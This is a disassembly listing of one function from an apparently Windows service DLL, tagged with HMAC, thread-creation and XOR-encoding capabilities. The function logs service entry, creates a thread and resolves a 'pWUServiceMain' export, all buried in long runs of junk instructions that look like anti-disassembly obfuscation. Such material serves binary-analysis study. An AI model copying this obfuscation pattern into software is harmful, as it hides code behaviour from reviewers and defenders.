Function at 0x100cbb59
Capabilities:
Authenticate hmac
Create thread
Encode data using xor

Disassembly:
cmp byte [ecx], 8
pop edi
mov eax, dword [0x8401b8c4]
aaa
sbb ch, byte [edi + 0x39]
test eax, 0xc13c19d
cmp ecx, ebp
adc al, 0x7a
cdq
mov fs, word [edx + 0x3d]
popfd
call fcn.1011e48a
leave
ret 0xc
pushfd
test byte [0x100cbc3d], 0x58
jne 0x100cbc3e
adc dword [bp + 0x556], 0xcbab1854
daa
dec esp
add eax, 0x36294e7e
adc eax, 0xc095b5f0
pushfd
cld
shl dword [edx + 0x63c5f016], cl
push esi
xchg edi, eax
out 0xa8, eax
jns 0x100cbb8d
add cl, byte [edi + eax*2 - 0x7d82c5d2]
mov word [edi + 0x2e], es
cmp bh, byte [ebp - 0x7e]
cmp bh, byte cs:[ebp - 0x7e]
into
arpl word [esi - 0x35cf0d7], cx
pop edx
ja 0x100cbb32
pop ds
loopne 0x100cbb89
insd dword es:[edi], dx
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
test edi, 0xb5c3db03
pop ecx
div dword [edx]
mov byte [eax + 0x4f742e42], dh
fistp dword [esi - 0x18b566aa]
inc ebp
jno 0x100cbb7f
push es
xor al, 0x2f
inc eax
or eax, 0x8a41bb07
mov dword [0x81344132], eax
xchg esp, eax
lodsb al, byte [esi]
jle 0x100cbb8a
sbb cl, byte [0x21b8ff11]
and al, 0xc2
shr al, 1
mov byte [ebp - 0x46], ch
dec edx
xor byte [ebp - 0x3bbcccd9], al
adc al, 0x8d
adc dword [ebx], ebp
push 0xdc04b06f
jg 0x100cbbf8
sub byte [edi], al
in eax, dx
or dword [edi + 0x40acde9e], 0x668718fd
add byte [esi - 0x1a], dl
xchg edi, eax
xchg dword [esi], esp
push esi
out 0x97, al
cmpsd dword [esi], dword es:[edi]
mov dl, 0xe5
mov ecx, 0xc3505874
sahf
nop
adc eax, 0xff8f9e5
sal al, 9
mov eax, dword [0xf99ec9c3]
sbb eax, 0xb02f198f
outsd dx, dword [esi]
popal
adc dword [edi - 0x672f73b8], 0xffffffae
in al, 0x43
jo 0x100cbca5
fdiv st(4), st(0)
jle 0x100cbc5c
xor dword [edi], esp
daa
dec ebp
dec esi
add esp, ecx
cli
dec esp
les eax, [eax - 0x1086a4cd]
out dx, eax
ror al, 1
push ecx
mov bl, 0xe3
popfd
push ebp
mov ebp, esp
push ecx
push esi
push str.Entering_ServiceMain
xor esi, esi
push esi
push 3
call fcn.10049c0c
mov eax, dword [0x10172dd0]
add esp, 0xc
cmp eax, esi
je 0x100cbdde
invalid
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
je 0x100cbc89
push dword [0x10172dd0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10172dd0], esi
cmp dword [0x10172dd0], esi
jne 0x100cc1fe
pushfd
test byte [0x100cbcdc], 0x26
jne 0x100cbddd
add byte [edx + 0x5d83764d], cl
mov cl, byte [ebp + 0x76]
sbb dword [ebp - 0x72], 0x69
mov edx, 0xdc8a74ac
jbe 0x100cbc2a
pop ebp
mov gs, word [ecx - 0x46]
lodsb al, byte [esi]
je 0x100cbc38
mov bl, ah
fcom qword [ecx + 0x55]
push ecx
push ebp
mov byte [ecx], ah
out 0x12, al
mov al, byte [0x7f8a55fd]
jne 0x100cbcad
fld dword [esi + 0x71d806d2]
jb 0x100cbce9
test eax, 0x794f15f6
and byte [ebx], bh
mov bh, 0xc5
jb 0x100cbca5
mov eax, dword [0x40d96dec]
or byte [eax - 0x3e], al
pop esi
test esp, ecx
bound esi, qword [ebp + 0x66]
mov dh, 0xa6
adc dword [edi], esi
mov es, word [eax]
mov ecx, gs
jg 0x100cbca2
xlatb
lodsd eax, dword [esi]
xchg byte gs:[ecx + 0x414e67af], ah
push 0x63115a44
cdq
mov eax, dword [0x9ff26672]
mov dword [0x32546d2b], eax
into
aad 0x3f
pop di
fst qword [edi + 0x66]
add byte [esi + 0xab139ac], ch
sbb eax, 0x7142b56b
scasb al, byte es:[edi]
and byte [ecx + 0x34], bh
jns 0x100cbd4c
mov ah, 0x49
pushfd
sub ebx, dword [eax + 0x45]
clc
push 0x1b
mov esi, 0xc0826f25
fidivr dword [edx - 0x43bf3524]
fcomp dword [ebx - 0x4e]
adc al, 0x13
aam 0xc
lodsd eax, dword [esi]
stosd dword es:[edi], eax
dec esp
xor eax, dword [eax + 0x47]
or dword [edx], ecx
loop 0x100cbd16
fisub dword [edi]
fcmovbe st(0), st(5)
loop 0x100cbd1e
invalid
sal byte [eax], 0x74
xchg ebx, eax
rcl byte [edi - 0x36724c97], 0x9d
aam 0xff
cmp ch, byte [eax]
clc
or dl, dl
out 0xfb, al
movsd dword es:[edi], dword [esi]
cmp eax, 0x9f6b82f8
popal
lds ecx, [ebx + eax - 0x7c1b8546]
shr byte [ebp + 0x1f], cl
jmp dword [edi]
xlatb
xor edx, dword gs:[esi - 0x419e3381]
push esi
and al, 0x71
mov dword [eax - 0x59], edx
jecxz 0x100cbe28
xchg esi, eax
and al, 0x71
lodsd eax, dword [esi]
pushfd
inc edx
sub cl, byte es:[esi - 6]
and eax, 0x33664bd3
int 0x75
push edi
mov ebp, 0xc07f2674
mov ecx, 0x28ec617c
int3
mov esi, 0x6d529c81
sbb eax, 0x36c85c96
aas
mov ecx, 0x39af137
popfd
call fcn.100bfdb2
test eax, eax
jne 0x100cc1fe
pushfd
test byte [0x100cbed7], 0x80
jne 0x100cbed8
sbb dword [esi + 0x6a5502ad], ebp
inc ebp
and esp, 0x15281d20
sbb eax, 0xc5ced287
jecxz 0x100cbd9d
cmp byte [edx - 0x651491ef], al
mov byte [eax], bl
xchg ebp, eax
xchg ebx, eax
or dword [ebp + ebp*4 + 0x24feee42], ebp
add al, dh
inc eax
adc ebp, dword [edx]
test dword [edi - 0x6b37c585], ebp
sbb dword [ecx - 0x33af608f], esp
xor al, 0x25
rol byte [edx - 0xf35c213], 0x5c
add dword ss:[0xfda187f8], esp
sbb byte cs:[edx + 0x40293b11], ah
mov ebx, eax
fidivr word [ebp + 0x1a4634ca]
fidiv dword [ebp - 0x4df955b2]
xor ch, bl
adc ecx, dword [edx - 0x2a]
dec eax
adc bl, byte [esi]
push ecx
sbb eax, 0x2a057d42
jbe 0x100cbe69
enter 0x1994, 0xffffffffffffffa1
jno 0x100cbdcd
push eax
int3
mov dword [0x5f8bd4c4], eax
pop edi
cmp eax, dword [edx]
int 0x9c
cli
or al, 0xb6
lds ebx, [edi + 0x3f6e4c5f]
nop
or dword [edx + 0x33e800cf], eax
and ah, byte [esi - 0x10]
loop 0x100cbea6
cmp dword [ebp - 0x55], ebp
mov eax, 0x35de02fb
fild dword [ebx + ecx]
sal byte [esi - 0x2adc75d7], cl
ror ecx, 0x3f
sti
add bl, dh
xor eax, 0xd20b04db
mov dh, 0x29
mov ah, byte [ebx]
aad 0xc1
leave
aas
aaa
aaa
jnp 0x100cbec1
xlatb
inc esp
inc ecx
push 0x6b450985
je 0x100cbe87
rol byte [eax + 0x28], cl
fsubr qword [edi - 0x5d022393]
test eax, 0xccdb3cd9
lea ebp, [edi - 0x4b59bb42]
rcl dword [edi + edx*2 + 0x61], 0xd1
popal
pop edi
mov esi, 0xc1b4a644
push esp
push edi
popal
shl dword [ecx + 0x5f], 1
into
mul byte [esi - 0x6e]
xlatb
lea esi, [edi - 6]
or eax, 0x10fd44f3
and dword [esi + 0x25], ebx
lds edx, [ecx + 0x66f667da]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
popfd
push esi
push esi
push esi
push 0x100c859f
push esi
pushfd
test byte [0x100cbf55], 0xdf
jne 0x100cbf56
fild qword [ebx - 0x6c]
in al, dx
pop edi
or cl, byte [ebx + 3]
salc
stosd dword es:[edi], eax
sub ecx, 0x43
dec ebp
add eax, 0x39129c3e
pop ebp
out dx, al
jl 0x100cbf63
mov bh, 0x3c
loopne 0x100cbf48
cmp ah, byte [edx + 0x15c963b2]
neg dword [ecx + 0x5a2da459]
out dx, eax
push edi
jg 0x100cbeb6
sub eax, 0x605ca70c
push esi
jge 0x100cbf41
lodsd eax, dword [esi]
mov eax, 0x5b4f5653
pop esp
adc al, 0xb9
dec esp
mov cl, 0xcc
popal
jl 0x100cbf87
and dword gs:[ebp + 0x71299afa], esp
dec edx
mov bl, 0x16
in al, 0x1e
test byte [esi], al
mov bl, 0xd1
cld
sahf
dec esp
popal
rcr byte [ecx - 0x5c], 0x49
add byte [ebp - 0x37], 0x2e
pushal
leave
pushal
ror byte [edi + 0x67367b99], cl
add esp, esp
push es
jnp 0x100cbed6
popfd
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10172dd0], eax
cmp eax, esi
jne 0x100cc1fe
invalid
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
pushfd
test byte [0x100cbfd5], 0xb9
jne 0x100cbfd6
out dx, al
adc eax, 0xde00e192
dec eax
or byte [ecx], dl
mov ch, 0xba
mov edx, 0x10f46e13
pop ecx
pop esp
adc ebp, dword [esi - 0xc]
adc byte [ecx + 0x5c], bl
jo 0x100cbf64
lodsb al, byte [esi]
xchg byte [esi + ecx*4 - 0x1d], dh
notrack call 0x5aa600ed
cmp edx, esi
cmp al, 0x64
mov eax, dword [0x84907b41]
xor byte [ebp + 0x6c90bef1], ah
adc al, 0xa
and edi, dword [ecx - 0x6eddc219]
xchg edx, eax
rcl byte [edi + 0x4bf46ea8]
jbe 0x100cbf86
push edx
mov al, byte [0x1a49c8a8]
cmp dword [edi], 0xffffffb0
cmpsb byte [esi], byte es:[edi]
popfd
add cl, byte [edi + 0x1e]
jbe 0x100cc034
inc edi
pop ebp
sbb eax, 0xdfffb913
aas
out dx, al
sal byte [edx], 0x93
popfd
push str.ServiceMain::CreateThread_Error:_d
pushfd
test byte [0x100cc02a], 0x59
jne 0x100cc02b
xchg bl, ah
pop es
or eax, 0x4c633222
fbld tbyte [ebx + 0x30]
cmpsd dword [esi], dword es:[edi]
xchg edi, eax
or esi, dword [eax + 0x7be107f6]
mov edi, 0x322281dd
mov ebp, 0x2c5f058d
inc esi
lds eax, [edx + 0x19e7651e]
je 0x9a08ee74
ja 0x100cbfe6
and byte [edi - 0x23], ch
pop ds
scasb al, byte es:[edi]
dec edx
xchg edi, eax
xchg ebx, eax
aaa
std
insb byte es:[edi], dx
popfd
cwde
aaa
fstp dword [eax + ebp*4 - 0x6e]
ror byte [ebx], cl
cli
adc eax, eax
pop edx
pop ebp
popfd
push esi
pushfd
test byte [0x100cc0e6], 0x8e
jne 0x100cc0e7
mov cs, word [edi]
test dword [eax + eax - 0x7ab80000], ebp
in al, dx
dec eax
test esp, ebp
dec ecx
loop 0x100cc04a
fnstsw word [ecx + 0x4b]
pop ebx
dec ebp
out dx, al
adc dh, al
fimul word [ebx]
jg 0x100cc06b
or edi, dword [edi + 0x1e]
and eax, 0xfbbc6a0f
add al, 0x14
push eax
and dword [ecx + edi*2], edi
into
pushfd
and dword [esi - 0x7f], ebx
sahf
stc
pop ds
sbb dword [eax + 0x36777265], edi
xchg edx, eax
out dx, al
inc ebp
mov dh, 0x1c
aaa
sbb al, 0x37
xor byte [esi - 0x5d10d936], 0x12
fsubp st(5)
adc bl, dh
in eax, dx
mov esi, 0xbc13304e
xchg edi, eax
out dx, al
out dx, al
mov eax, dword [0xe133fa1a]
push edi
aad 0x2f
std
add byte [edi + ecx*4 + 0x23], bh
test dword [eax], 0x8bbc4b80
rol byte [ebx], cl
aaa
push dword [esi - 0x62d80d1d]
xchg esi, eax
pop edi
shl ch, 1
mov bh, 0xc3
test dword [ebp - 0x13c1291f], edx
mov dword [ebp - 0x78], 0x57e4195f
pop eax
and ebp, esi
jg 0x100cc0f4
or dword [ebp + 0x301baca8], 0x7275813
adc eax, 0xab8d18e1
pushfd
arpl si, bx
cwde
pop es
and eax, 0xa0c24c11
into
adc byte [eax], cl
push esp
or dword [edi + esi*4 + 0x4092fdaf], 0x8f03306e
pop eax
pop ecx
jb 0x100cc073
cmp ebx, dword [edx - 0x3e]
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
adc al, 0xa9
popfd
push esi
pushfd
test byte [0x100cc1f4], 0x7e
jne 0x100cc1f5
add byte [eax], al
add byte [ecx - 0x369a2821], bl
mov dword [0xee46855d], eax
or ebp, esp
int3
cdq
invalid
or byte [eax - 0x6547a9a9], 0xf5
mov al, 0xe7
pushfd
out 0x9c, eax
xor eax, 0x4b88fdae
in al, 0xc4
add eax, edx
popfd
call fcn.10049c0c
add esp, 0x10
cmp dword [0x10172dcc], esi
je 0x100cc63e
push edi
pushfd
test byte [0x100cc2a8], 0x65
jne 0x100cc2a9
scasd eax, dword es:[edi]
mov ecx, 0xc217d012
push ss
and eax, 0x57ddeb2e
sub al, 0x12
in eax, 0x5c
adc ah, ch
pop esp
pop ebp
cwde
in al, dx
out dx, eax
fidivr dword [edx]
lodsd eax, dword [esi]
push ebx
pushfd
salc
in al, dx
lds eax, [esi]
add dword [ebx + esi*4 + 0x7c], esi
shr dword [ecx + 0x4c4132aa], 9
mov edx, dword [edi]
outsb dx, byte [esi]
sbb esi, esp
jae 0x100cc1e2
sub dword [eax - 0x3f], ebx
dec eax
salc
movsb byte es:[edi], byte [esi]
pop edi
cmp byte [edx - 0x6dbf9689], ch
jecxz 0x100cc1ea
test ch, dh
lds esp, [edx - 0x634e193a]
pop esi
sbb esi, dword [edi + ebx - 0x42dcbacd]
jecxz 0x100cc24b
or byte [edx + 0x63], cl
sbb eax, 0xbb0f8ce4
mov esi, 0x7b4b14c6
xchg ebp, eax
outsb dx, byte [esi]
clc
jb 0x100cc2f0
cmc
clc
sbb byte [ecx + eax*2 - 0x3e38dbc7], cl
mov edx, 0xff441d30
inc ecx
mov esp, 0x3c3e9dc4
aad 0x99
sub dl, byte [edi]
loop 0x100cc226
sti
sub edx, dword [esi + 0x46]
adc esp, ebx
cmp dword [edi], esi
dec ecx
and byte [ecx], bh
call 0xf7703154
xchg esi, eax
popfd
push str.Entering_pWUServiceMain1
push esi
push 3
call fcn.10049c0c
add esp, 0xc
push 0x10148ef8
pushfd
test byte [0x100cc338], 0x5c
jne 0x100cc339
mov edx, 0xfbeff617
imul esi, ebx, 0x573442db
fild dword [edx + 0x34]
push edi
mov dword [0xe57b4596], eax
mov eax, 0x7df1e3fb
mov dword [0xf66fa22d], eax
sbb eax, 0xf6e1f880
push esp
adc eax, 0xe0897613
aad 0x36
fiadd dword [edx - 0x688a224f]
xchg edi, eax
inc esp
out 0x49, eax
push 0x7ed98406
lar ecx, esi
aad 0x4f
add cl, byte [edx + 0x33]
pop es
aam 2
mov eax, 0x6f0d2d5
pushfd
mov cl, 0x52
out 0x1b, eax
js 0x100cc2f5
invalid
out 0xdf, eax
jb 0x100cc366
aad 0xf6
xor dword [edi + 0x678b5cc2], ecx
dec ecx
mov dh, 0xb1
std
jne 0x100cc2d0
in al, 0xb
push esi
pop edi
and dword [ebp - 0x21], 0xec1a1689
or byte [edi + 0x25], ah
pop edi
pushal
stosd dword es:[edi], eax
popfd
push dword [0x10172dcc]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Entering_pWUServiceMain2
pushfd
test byte [0x100cc35f], 0xbe
jne 0x100cc360
test bh, ch
stc
test eax, 0x80bcaee1
cmc
jne 0x100cc3c4
popfd
push esi
pushfd
test byte [0x100cc381], 0xea
jne 0x100cc482
ret
inc ecx
xchg edx, eax
mov bh, 0x8a
jnp 0x100cc37f
mov ebp, 0x787265a5
jo 0x100cc30c
bound ebp, qword cs:[edi - 0x83a61a3]
sal ch, cl
mov cl, 0x65
mov edx, 0x6f55da23
stosb byte es:[edi], al
cwde
outsd dx, dword [esi]
rcl eax, 0x5d
mov al, 0xe8
mov al, 0xff
xchg esi, eax
xchg ebx, eax
nop
push 0x2ddaa6cb
push ebx
and edi, edi
lea ebp, [ecx - 0x3de022f]
scasd eax, dword es:[edi]
pop ebp
sahf
invalid
cmpsb byte [esi], byte es:[edi]
fisubr dword [0x8dff2353]
test eax, 0xfc21fdd1
sbb dword [edi], ebp
dec ebx
jb 0x100cc39c
mov dword [0xa77a6783], eax
xor byte [ebp - 0x3fc01914], bl
aas
shr byte [esi - 0x46], 1
and eax, 0x1298fa7b
scasb al, byte es:[edi]
push ss
sbb byte ss:[edx - 0x2f], bh
inc eax
les ebp, [edi + ecx*4]
inc edi
mov esp, 0x4aa9bc1c
dec ecx
cli
xchg esi, eax
inc edx
jae 0x100cc451
imul dword [ebx - 0x60f4f819]
test eax, 0x848832b9
test dword [ecx + 0x22], esp
cmp ebp, esp
nop
fdivrp st(6)
mov word [edi + 0x7f41c784], ss
lea ecx, [ecx]
xor byte [0xff9badb4], ch
ficom dword [ebx + 0x547dde23]
cmc
mov dword [0xaecc7256], eax
fsubp st(2)
stosb byte es:[edi], al
sbb bl, bl
jo 0x100cc463
test dword [edx + esi*8 - 9], 0x65318119
inc eax
inc esi
xor eax, 0xf413cfcd
cmp dword [ecx], ebp
mov esi, 0x4efe5791
and edx, ebx
sub bh, 0xfc
xor al, 0x79
por mm5, mm1
and byte [edi], bh
push ebp
je 0x100cc458
inc esp
clc
mov ah, 0xe5
pop ecx
dec ebp
xchg ebp, eax
add al, 0x50
cmpsd dword [esi], dword es:[edi]
dec esp
lodsd eax, dword [esi]
aad 0xd5
into
mov edx, edx
sub dword [ebx + 0x624d3ed4], esi
xchg ebp, eax
cmpsd dword [esi], dword es:[edi]
jecxz 0x100cc435
rcl byte [ebx + 0x1d], cl
imul edi, edx, 0x21
xor ah, byte [edx + 0x1d7a5b7a]
and dword [edx], esi
mov byte [0x1d7a5b7a], al
sbb eax, 0xb0c062ba
enter 0x3e40, 0xffffffffffffffef
mov edx, 0xc8b0c062
mov al, 0xc8
inc eax
out dx, eax
jecxz 0x100cc3e6
sti
jae 0x100cc497
mov ebp, 0x7b2a89f6
cdq
xlatb
add esi, dword [ecx]
xor dword [ecx - 0xe], eax
cmp dword [ebx + 0x7a], edi
jecxz 0x100cc45b
mov edi, 0x52cbf86f
sbb eax, dword [ecx]
mov ecx, 0xea4f8da6
cmpsb byte [esi], byte es:[edi]
lea ecx, [edi - 0x16]
popfd
push 3
pushfd
test byte [0x100cc53e], 0x5f
jne 0x100cc53f
leave
fcom st(3)
xor dword [ecx], esp
insd dword es:[edi], dx
loop 0x100cc506
and dword [ebp - 0x1e], ebp
imul esi, ecx, 0x11
jb 0x100cc453
int1
adc dword [edx - 0x4c], esi
xchg edi, eax
lahf
fdivp st(0)
jg 0x100cc520
loopne 0x100cc457
jno 0x100cc511
xchg esp, eax
sub ebx, dword [esi]
aam 3
jecxz 0x100cc482
das
xchg ebx, eax
add bh, al
loopne 0x100cc4eb
bound eax, qword [ebx]
arpl word [edi], dx
inc ebp
push edx
sub edi, dword [esi]
psubusb mm3, mm4
pop es
xchg ecx, eax
lahf
salc
and edi, ebp
sbb al, dh
imul ecx, dword [ecx + 0x3f], 0x22
ja 0x100cc47e
mov ss, word [ebp - 0x13]
mov dword [0x429f5faf], esp
inc edx
loopne 0x100cc4d9
cmp byte [ecx + 0x63], al
push cs
add ecx, dword [edi + ebp*8 - 0x1c4359af]
into
and cl, ch
cwde
in al, 0xb3
pop ebp
or ch, ah
arpl word [esi], ax
fst dword [edx + 0xc414ac5]
xchg ebx, eax
xchg esp, eax
xchg ebx, eax
out 0xc7, al
adc eax, 0x9b4143ad
sub dword [eax], 0x6ef24992
repne outsb dx, byte [esi]
in eax, dx
inc esi
sbb edi, ebx
pshufw mm2, qword [ebp + 0x5f], 0x4d
mov esi, 0x3353b9b9
mov bl, 0x17
xchg ebx, eax
xor cl, al
or bh, byte ds:[esi]
sub dword [ecx + 0x37d94159], ecx
and byte [edx], al
sbb al, 0xee
inc ecx
push 0xebb7753d
mov ah, 0x5b
test eax, 0xd7720dad
adc cl, ah
xor eax, 0x9e573420
scasd eax, dword es:[edi]
popfd
mov edi, eax
call fcn.10049c0c
pushfd
test byte [0x100cc62c], 0xeb
jne 0x100cc62d
out 0xb7, eax
sub bl, byte [edx]
popfd
sbb byte [0x821e3812], dh
pop esp
push 0x5463c2
lahf
cmp eax, 0x65c6bc74
or dh, byte [ecx + ecx - 0x70d97818]
inc esp
dec edx
test al, 0xa7
xor esp, dword [edx]
sahf
aas
popfd
sbb bl, ah
sub al, 0x6d
adc eax, 0x14927e6a
sti
push esp
push 0xffffffffffffffd6
pop ebp
xchg esp, eax
insb byte es:[edi], dx
push esi
jne 0x100cc58e
mov ch, 0x56
aaa
out 0x1a, eax
sbb eax, 0x57addae4
pushfd
inc ebx
cmp al, 0x6d
insd dword es:[edi], dx
add bh, byte [eax]
lea ebx, [ecx - 0xc]
pop dword [ebp - 0x3d]
cmp eax, 0x556cc49
xor byte [eax - 0x1645dafa], cl
push 0x8595e9a3
inc edx
lds ebp, [ebx]
xchg esi, eax
sal bh, 1
or eax, 0x418c8b67
add al, 0x26
cmp al, 0x2f
jae 0x66aa602d
cwde
sub eax, 0x7334663c
push 0xf007acad
mov edx, 0x4b5f2d7c
xor eax, 0x5b9a9e9e
or eax, 0x7d7cfaf3
and byte [eax + 0x73], ah
xchg esp, eax
add esp, esp
xchg dword [0x738173ae], ebp
pushal
mov dword [0x19a2f7bb], eax
and al, 0x97
jg 0x100cc59e
mov ebp, 0x9a8f5051
xchg ecx, eax
dec eax
push ecx
int1
jl 0x100cc5a7
xchg dword [eax + ecx*8 - 0x3b74d83c], eax
mov dword [0xb9359364], eax
mov ebx, 0x9b1a616f
pop esi
add ch, byte cs:[ebp - 0x3cb69b6e]
sub cl, dh
call 0x37ad0be8
int1
popfd
add esp, 0xc
cmp edi, esi
je 0x100cc63d
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
pop edi
pop esi
leave
ret 8